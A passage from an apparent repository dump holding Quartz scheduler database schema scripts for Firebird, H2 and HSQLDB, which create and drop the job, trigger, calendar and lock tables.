(sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_calendars (\nsched_name varchar(120) not null,\ncalendar_name varchar(200) not null,\ncalendar blob not null,\nprimary key (sched_name,calendar_name)\n);\n\ncreate table qrtz_paused_trigger_grps (\nsched_name varchar(120) not null,\ntrigger_group varchar(200) not null,\nprimary key (sched_name,trigger_group)\n);\n\ncreate table qrtz_fired_triggers (\nsched_name varchar(120) not null,\nentry_id varchar(95) not null,\ntrigger_name varchar(200) not null,\ntrigger_group varchar(200) not null,\ninstance_name varchar(200) not null,\nfired_time bigint not null,\nsched_time bigint not null,\npriority integer not null,\nstate varchar(16) not null,\njob_name varchar(200),\njob_group varchar(200),\nis_nonconcurrent varchar(5),\nrequests_recovery varchar(5),\nprimary key (sched_name,entry_id)\n);\n\ncreate table qrtz_scheduler_state (\nsched_name varchar(120) not null,\ninstance_name varchar(200) not null,\nlast_checkin_time bigint not null,\ncheckin_interval bigint not null,\nprimary key (sched_name,instance_name)\n);\n\ncreate table qrtz_locks (\nsched_name varchar(120) not null,\nlock_name varchar(40) not null,\nprimary key (sched_name,lock_name)\n);\n\ncommit;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_firebird.sql",
    "content": "\n--\n-- Thanks to Leonardo Alves\n--\n\n\nDROP TABLE QRTZ_FIRED_TRIGGERS;\nDROP TABLE QRTZ_PAUSED_TRIGGER_GRPS;\nDROP TABLE QRTZ_SCHEDULER_STATE;\nDROP TABLE QRTZ_LOCKS;\nDROP TABLE QRTZ_SIMPLE_TRIGGERS;\nDROP TABLE QRTZ_SIMPROP_TRIGGERS;\nDROP TABLE QRTZ_CRON_TRIGGERS;\nDROP TABLE QRTZ_BLOB_TRIGGERS;\nDROP TABLE QRTZ_TRIGGERS;\nDROP TABLE QRTZ_JOB_DETAILS;\nDROP TABLE QRTZ_CALENDARS;\n\n\nCREATE TABLE QRTZ_JOB_DETAILS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    JOB_NAME  VARCHAR(60) NOT NULL,\n    JOB_GROUP VARCHAR(60) NOT NULL,\n    DESCRIPTION VARCHAR(120),\n    JOB_CLASS_NAME   VARCHAR(128) NOT NULL, \n    IS_DURABLE VARCHAR(1) NOT NULL,\n    IS_NONCONCURRENT VARCHAR(1) NOT NULL,\n    IS_UPDATE_DATA VARCHAR(1) NOT NULL,\n    REQUESTS_RECOVERY VARCHAR(1) NOT NULL,\n    JOB_DATA BLOB,\n    CONSTRAINT PK_QRTZ_JOB_DETAILS PRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE QRTZ_TRIGGERS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(60) NOT NULL,\n    TRIGGER_GROUP VARCHAR(60) NOT NULL,\n    JOB_NAME  VARCHAR(60) NOT NULL, \n    JOB_GROUP VARCHAR(60) NOT NULL,\n    DESCRIPTION VARCHAR(120),\n    NEXT_FIRE_TIME BIGINT,\n    PREV_FIRE_TIME BIGINT,\n    PRIORITY INTEGER,\n    TRIGGER_STATE VARCHAR(16) NOT NULL,\n    TRIGGER_TYPE VARCHAR(8) NOT NULL,\n    START_TIME BIGINT NOT NULL,\n    END_TIME BIGINT,\n    CALENDAR_NAME VARCHAR(60),\n    MISFIRE_INSTR SMALLINT,\n    JOB_DATA BLOB,\n    CONSTRAINT PK_QRTZ_TRIGGERS PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT FK_QRTZ_TRIGGERS_1 FOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP) \n    REFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP) \n);\n\nCREATE TABLE QRTZ_SIMPLE_TRIGGERS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(60) NOT NULL,\n    TRIGGER_GROUP VARCHAR(60) NOT NULL,\n    REPEAT_COUNT BIGINT NOT NULL,\n    REPEAT_INTERVAL BIGINT NOT NULL,\n    TIMES_TRIGGERED BIGINT NOT NULL,\n    CONSTRAINT PK_QRTZ_SIMPLE_TRIGGERS PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT FK_QRTZ_SIMPLE_TRIGGERS_1 FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_SIMPROP_TRIGGERS\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 VARCHAR(1) NULL,\n    BOOL_PROP_2 VARCHAR(1) NULL,\n    CONSTRAINT PK_QRTZ_SIMPROP_TRIGGERS PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT FK_QRTZ_SIMPROP_TRIGGERS_1 FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_CRON_TRIGGERS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(60) NOT NULL,\n    TRIGGER_GROUP VARCHAR(60) NOT NULL,\n    CRON_EXPRESSION VARCHAR(120) NOT NULL,\n    TIME_ZONE_ID VARCHAR(60),\n    CONSTRAINT PK_QRTZ_SIMPLE_TRG PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT FK_QRTZ_SIMPLE_TRG_1 FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_BLOB_TRIGGERS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(60) NOT NULL,\n    TRIGGER_GROUP VARCHAR(60) NOT NULL,\n    BLOB_DATA BLOB,\n    CONSTRAINT PK_QRTZ_BLOB_TRIGGERS PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    CONSTRAINT FK_QRTZ_BLOB_TRIGGERS_1 FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_CALENDARS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    CALENDAR_NAME  VARCHAR(60) NOT NULL, \n    CALENDAR BLOB NOT NULL,\n    CONSTRAINT PK_QRTZ_CALENDARS PRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n);\n\nCREATE TABLE QRTZ_PAUSED_TRIGGER_GRPS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_GROUP  VARCHAR(60) NOT NULL, \n    CONSTRAINT PK_QRTZ_PAUSED_TRIGGER_GRPS PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_FIRED_TRIGGERS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    ENTRY_ID VARCHAR(95) NOT NULL,\n    TRIGGER_NAME VARCHAR(60) NOT NULL,\n    TRIGGER_GROUP VARCHAR(60) NOT NULL,\n    INSTANCE_NAME VARCHAR(80) NOT NULL,\n    FIRED_TIME BIGINT NOT NULL,\n    SCHED_TIME BIGINT NOT NULL,\n    PRIORITY INTEGER NOT NULL,\n    STATE VARCHAR(16) NOT NULL,\n    JOB_NAME VARCHAR(60),\n    JOB_GROUP VARCHAR(60),\n    IS_NONCONCURRENT VARCHAR(1),\n    REQUESTS_RECOVERY VARCHAR(1),\n    CONSTRAINT PK_QRTZ_FIRED_TRIGGERS PRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\n\nCREATE TABLE QRTZ_SCHEDULER_STATE (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    INSTANCE_NAME VARCHAR(80) NOT NULL,\n    LAST_CHECKIN_TIME BIGINT NOT NULL,\n    CHECKIN_INTERVAL BIGINT NOT NULL,\n    CONSTRAINT PK_QRTZ_SCHEDULER_STATE PRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\n\nCREATE TABLE QRTZ_LOCKS (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    LOCK_NAME  VARCHAR(40) NOT NULL, \n    CONSTRAINT PK_QRTZ_LOCKS PRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\nCOMMIT;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_h2.sql",
    "content": "-- Thanks to Amir Kibbar and Peter Rietzler for contributing the schema for H2 database, \n-- and verifying that it works with Quartz's StdJDBCDelegate\n--\n-- Note, Quartz depends on row-level locking which means you must use the MVCC=TRUE \n-- setting on your H2 database, or you will experience dead-locks\n--\n--\n-- In your Quartz properties file, you'll need to set \n-- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.StdJDBCDelegate\n\nCREATE TABLE QRTZ_CALENDARS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  CALENDAR_NAME VARCHAR (200)  NOT NULL ,\n  CALENDAR IMAGE NOT NULL\n);\n\nCREATE TABLE QRTZ_CRON_TRIGGERS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  TRIGGER_NAME VARCHAR (200)  NOT NULL ,\n  TRIGGER_GROUP VARCHAR (200)  NOT NULL ,\n  CRON_EXPRESSION VARCHAR (120)  NOT NULL ,\n  TIME_ZONE_ID VARCHAR (80) \n);\n\nCREATE TABLE QRTZ_FIRED_TRIGGERS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  ENTRY_ID VARCHAR (95)  NOT NULL ,\n  TRIGGER_NAME VARCHAR (200)  NOT NULL ,\n  TRIGGER_GROUP VARCHAR (200)  NOT NULL ,\n  INSTANCE_NAME VARCHAR (200)  NOT NULL ,\n  FIRED_TIME BIGINT NOT NULL ,\n  SCHED_TIME BIGINT NOT NULL ,\n  PRIORITY INTEGER NOT NULL ,\n  STATE VARCHAR (16)  NOT NULL,\n  JOB_NAME VARCHAR (200)  NULL ,\n  JOB_GROUP VARCHAR (200)  NULL ,\n  IS_NONCONCURRENT BOOLEAN  NULL ,\n  REQUESTS_RECOVERY BOOLEAN  NULL \n);\n\nCREATE TABLE QRTZ_PAUSED_TRIGGER_GRPS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  TRIGGER_GROUP VARCHAR (200)  NOT NULL \n);\n\nCREATE TABLE QRTZ_SCHEDULER_STATE (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  INSTANCE_NAME VARCHAR (200)  NOT NULL ,\n  LAST_CHECKIN_TIME BIGINT NOT NULL ,\n  CHECKIN_INTERVAL BIGINT NOT NULL\n);\n\nCREATE TABLE QRTZ_LOCKS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  LOCK_NAME VARCHAR (40)  NOT NULL \n);\n\nCREATE TABLE QRTZ_JOB_DETAILS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  JOB_NAME VARCHAR (200)  NOT NULL ,\n  JOB_GROUP VARCHAR (200)  NOT NULL ,\n  DESCRIPTION VARCHAR (250) NULL ,\n  JOB_CLASS_NAME VARCHAR (250)  NOT NULL ,\n  IS_DURABLE BOOLEAN  NOT NULL ,\n  IS_NONCONCURRENT BOOLEAN  NOT NULL ,\n  IS_UPDATE_DATA BOOLEAN  NOT NULL ,\n  REQUESTS_RECOVERY BOOLEAN  NOT NULL ,\n  JOB_DATA IMAGE NULL\n);\n\nCREATE TABLE QRTZ_SIMPLE_TRIGGERS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  TRIGGER_NAME VARCHAR (200)  NOT NULL ,\n  TRIGGER_GROUP VARCHAR (200)  NOT NULL ,\n  REPEAT_COUNT BIGINT NOT NULL ,\n  REPEAT_INTERVAL BIGINT NOT NULL ,\n  TIMES_TRIGGERED BIGINT NOT NULL\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INTEGER NULL,\n    INT_PROP_2 INTEGER NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 BOOLEAN NULL,\n    BOOL_PROP_2 BOOLEAN NULL,\n);\n\nCREATE TABLE QRTZ_BLOB_TRIGGERS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  TRIGGER_NAME VARCHAR (200)  NOT NULL ,\n  TRIGGER_GROUP VARCHAR (200)  NOT NULL ,\n  BLOB_DATA IMAGE NULL\n);\n\nCREATE TABLE QRTZ_TRIGGERS (\n  SCHED_NAME VARCHAR(120) NOT NULL,\n  TRIGGER_NAME VARCHAR (200)  NOT NULL ,\n  TRIGGER_GROUP VARCHAR (200)  NOT NULL ,\n  JOB_NAME VARCHAR (200)  NOT NULL ,\n  JOB_GROUP VARCHAR (200)  NOT NULL ,\n  DESCRIPTION VARCHAR (250) NULL ,\n  NEXT_FIRE_TIME BIGINT NULL ,\n  PREV_FIRE_TIME BIGINT NULL ,\n  PRIORITY INTEGER NULL ,\n  TRIGGER_STATE VARCHAR (16)  NOT NULL ,\n  TRIGGER_TYPE VARCHAR (8)  NOT NULL ,\n  START_TIME BIGINT NOT NULL ,\n  END_TIME BIGINT NULL ,\n  CALENDAR_NAME VARCHAR (200)  NULL ,\n  MISFIRE_INSTR SMALLINT NULL ,\n  JOB_DATA IMAGE NULL\n);\n\nALTER TABLE QRTZ_CALENDARS  ADD\n  CONSTRAINT PK_QRTZ_CALENDARS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    CALENDAR_NAME\n  );\n\nALTER TABLE QRTZ_CRON_TRIGGERS  ADD\n  CONSTRAINT PK_QRTZ_CRON_TRIGGERS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  );\n\nALTER TABLE QRTZ_FIRED_TRIGGERS  ADD\n  CONSTRAINT PK_QRTZ_FIRED_TRIGGERS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    ENTRY_ID\n  );\n\nALTER TABLE QRTZ_PAUSED_TRIGGER_GRPS  ADD\n  CONSTRAINT PK_QRTZ_PAUSED_TRIGGER_GRPS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    TRIGGER_GROUP\n  );\n\nALTER TABLE QRTZ_SCHEDULER_STATE  ADD\n  CONSTRAINT PK_QRTZ_SCHEDULER_STATE PRIMARY KEY  \n  (\n    SCHED_NAME,\n    INSTANCE_NAME\n  );\n\nALTER TABLE QRTZ_LOCKS  ADD\n  CONSTRAINT PK_QRTZ_LOCKS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    LOCK_NAME\n  );\n\nALTER TABLE QRTZ_JOB_DETAILS  ADD\n  CONSTRAINT PK_QRTZ_JOB_DETAILS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    JOB_NAME,\n    JOB_GROUP\n  );\n\nALTER TABLE QRTZ_SIMPLE_TRIGGERS  ADD\n  CONSTRAINT PK_QRTZ_SIMPLE_TRIGGERS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  );\n\nALTER TABLE QRTZ_SIMPROP_TRIGGERS  ADD\n  CONSTRAINT PK_QRTZ_SIMPROP_TRIGGERS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  );\n\nALTER TABLE QRTZ_TRIGGERS  ADD\n  CONSTRAINT PK_QRTZ_TRIGGERS PRIMARY KEY  \n  (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  );\n\nALTER TABLE QRTZ_CRON_TRIGGERS ADD\n  CONSTRAINT FK_QRTZ_CRON_TRIGGERS_QRTZ_TRIGGERS FOREIGN KEY\n  (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  ) REFERENCES QRTZ_TRIGGERS (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  ) ON DELETE CASCADE;\n\n\nALTER TABLE QRTZ_SIMPLE_TRIGGERS ADD\n  CONSTRAINT FK_QRTZ_SIMPLE_TRIGGERS_QRTZ_TRIGGERS FOREIGN KEY\n  (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  ) REFERENCES QRTZ_TRIGGERS (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  ) ON DELETE CASCADE;\n\nALTER TABLE QRTZ_SIMPROP_TRIGGERS ADD\n  CONSTRAINT FK_QRTZ_SIMPROP_TRIGGERS_QRTZ_TRIGGERS FOREIGN KEY\n  (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  ) REFERENCES QRTZ_TRIGGERS (\n    SCHED_NAME,\n    TRIGGER_NAME,\n    TRIGGER_GROUP\n  ) ON DELETE CASCADE;\n\n\nALTER TABLE QRTZ_TRIGGERS ADD\n  CONSTRAINT FK_QRTZ_TRIGGERS_QRTZ_JOB_DETAILS FOREIGN KEY\n  (\n    SCHED_NAME,\n    JOB_NAME,\n    JOB_GROUP\n  ) REFERENCES QRTZ_JOB_DETAILS (\n    SCHED_NAME,\n    JOB_NAME,\n    JOB_GROUP\n  );\n  \nCOMMIT;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_hsqldb.sql",
    "content": "--\n-- In your Quartz properties file, you'll need to set \n-- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.HSQLDBDelegate\n--\n\nDROP TABLE qrtz_locks IF EXISTS;\nDROP TABLE qrtz_scheduler_state IF EXISTS;\nDROP TABLE qrtz_fired_triggers IF EXISTS;\nDROP TABLE qrtz_paused_trigger_grps IF EXISTS;\nDROP TABLE qrtz_calendars IF EXISTS;\nDROP TABLE qrtz_blob_triggers IF EXISTS;\nDROP TABLE qrtz_cron_triggers IF EXISTS;\nDROP TABLE qrtz_simple_triggers IF EXISTS;\nDROP TABLE qrtz_simprop_triggers IF EXISTS;\nDROP TABLE qrtz_triggers IF EXISTS;\nDROP TABLE qrtz_job_details IF EXISTS;\n\nCREATE TABLE qrtz_job_details\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nJOB_NAME VARCHAR(200) NOT NULL,\nJOB_GROUP VARCHAR(200) NOT NULL,\nDESCRIPTION VARCHAR(250) NULL,\nJOB_CLASS_NAME VARCHAR(250) NOT NULL,\nIS_DURABLE BOOLEAN NOT NULL,\nIS_NONCONCURRENT BOOLEAN NOT NULL,\nIS_UPDATE_DATA BOOLEAN NOT NULL,\nREQUESTS_RECOVERY BOOLEAN NOT NULL,\nJOB_DATA BINARY NULL,\nPRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE qrtz_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nJOB_NAME VARCHAR(200) NOT NULL,\nJOB_GROUP VARCHAR(200) NOT NULL,\nDESCRIPTION VARCHAR(250) NULL,\nNEXT_FIRE_TIME NUMERIC(13) NULL,\nPREV_FIRE_TIME NUMERIC(13) NULL,\nPRIORITY INTEGER NULL,\nTRIGGER_STATE VARCHAR(16) NOT NULL,\nTRIGGER_TYPE VARCHAR(8) NOT NULL,\nSTART_TIME NUMERIC(13) NOT NULL,\nEND_TIME NUMERIC(13) NULL,\nCALENDAR_NAME VARCHAR(200) NULL,\nMISFIRE_INSTR NUMERIC(2) NULL,\nJOB_DATA BINARY NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\nREFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE qrtz_simple_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nREPEAT_COUNT NUMERIC(7) NOT NULL,\nREPEAT_INTERVAL NUMERIC(12) NOT NULL,\nTIMES_TRIGGERED NUMERIC(10) NOT NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_cron_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nCRON_EXPRESSION VARCHAR(120) NOT NULL,\nTIME_ZONE_ID VARCHAR(80),\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 NUMERIC(9) NULL,\n    INT_PROP_2 NUMERIC(9) NULL,\n    LONG_PROP_1 NUMERIC(13) NULL,\n    LONG_PROP_2 NUMERIC(13) NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 BOOLEAN NULL,\n    BOOL_PROP_2 BOOLEAN NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_blob_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nBLOB_DATA BINARY NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_calendars\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nCALENDAR_NAME VARCHAR(200) NOT NULL,\nCALENDAR BINARY NOT NULL,\nPRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n);\n\nCREATE TABLE qrtz_paused_trigger_grps\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_fired_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nENTRY_ID VARCHAR(95) NOT NULL,\nTRIGGER_NAME VARCHAR(200) NOT NULL,\nTRIGGER_GROUP VARCHAR(200) NOT NULL,\nINSTANCE_NAME VARCHAR(200) NOT NULL,\nFIRED_TIME NUMERIC(13) NOT NULL,\nSCHED_TIME NUMERIC(13) NOT NULL,\nPRIORITY INTEGER NOT NULL,\nSTATE VARCHAR(16) NOT NULL,\nJOB_NAME VARCHAR(200) NULL,\nJOB_GROUP VARCHAR(200) NULL,\nIS_NONCONCURRENT BOOLEAN NULL,\nREQUESTS_RECOVERY BOOLEAN NULL,\nPRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\n\nCREATE TABLE qrtz_scheduler_state\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nINSTANCE_NAME VARCHAR(200) NOT NULL,\nLAST_CHECKIN_TIME NUMERIC(13) NOT NULL,\nCHECKIN_INTERVAL NUMERIC(13) NOT NULL,\nPRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\n\nCREATE TABLE qrtz_locks\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nLOCK_NAME VARCHAR(40) NOT NULL,\nPRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_hsqldb_old.sql",
    "content": "# \n# Thanks to  Joseph Wilkicki for submitting this file's contents\n#\n# In your Quartz properties file, you'll need to set \n# org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.HSQLDBDelegate\n#\n# Some users report the need to change the fields\n# with datatype \"OTHER\" to datatype \"BINARY\" with\n# particular versions (e.g. 1.7.1) of HSQLDB\n#\n\nCREATE TABLE qrtz_job_details\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nJOB_NAME LONGVARCHAR(80) NOT NULL,\nJOB_GROUP LONGVARCHAR(80) NOT NULL,\nDESCRIPTION LONGVARCHAR(120) NULL,\nJOB_CLASS_NAME LONGVARCHAR(128) NOT NULL,\nIS_DURABLE LONGVARCHAR(1) NOT NULL,\nIS_NONCONCURRENT LONGVARCHAR(1) NOT NULL,\nIS_UPDATE_DATA LONGVARCHAR(1) NOT NULL,\nREQUESTS_RECOVERY LONGVARCHAR(1) NOT NULL,\nJOB_DATA OTHER NULL,\nPRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE qrtz_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME LONGVARCHAR(80) NOT NULL,\nTRIGGER_GROUP LONGVARCHAR(80) NOT NULL,\nJOB_NAME LONGVARCHAR(80) NOT NULL,\nJOB_GROUP LONGVARCHAR(80) NOT NULL,\nDESCRIPTION LONGVARCHAR(120) NULL,\nNEXT_FIRE_TIME NUMERIC(13) NULL,\nPREV_FIRE_TIME NUMERIC(13) NULL,\nPRIORITY INTEGER NULL,\nTRIGGER_STATE LONGVARCHAR(16) NOT NULL,\nTRIGGER_TYPE LONGVARCHAR(8) NOT NULL,\nSTART_TIME NUMERIC(13) NOT NULL,\nEND_TIME NUMERIC(13) NULL,\nCALENDAR_NAME LONGVARCHAR(80) NULL,\nMISFIRE_INSTR NUMERIC(2) NULL,\nJOB_DATA OTHER NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\nREFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE qrtz_simple_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME LONGVARCHAR(80) NOT NULL,\nTRIGGER_GROUP LONGVARCHAR(80) NOT NULL,\nREPEAT_COUNT NUMERIC(7) NOT NULL,\nREPEAT_INTERVAL NUMERIC(12) NOT NULL,\nTIMES_TRIGGERED NUMERIC(10) NOT NULL,\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE qrtz_cron_triggers\n(\nSCHED_NAME VARCHAR(120) NOT NULL,\nTRIGGER_NAME LONGVARCHAR(80) NOT NULL,\nTRIGGER_GROUP LONGVARCHAR(80) NOT NULL,\nCRON_EXPRESSION LONGVARCHAR(120) NOT NULL,\nTIME_ZONE_ID LONGVARCHAR(80),\nPRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\nFOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nREFERENCES 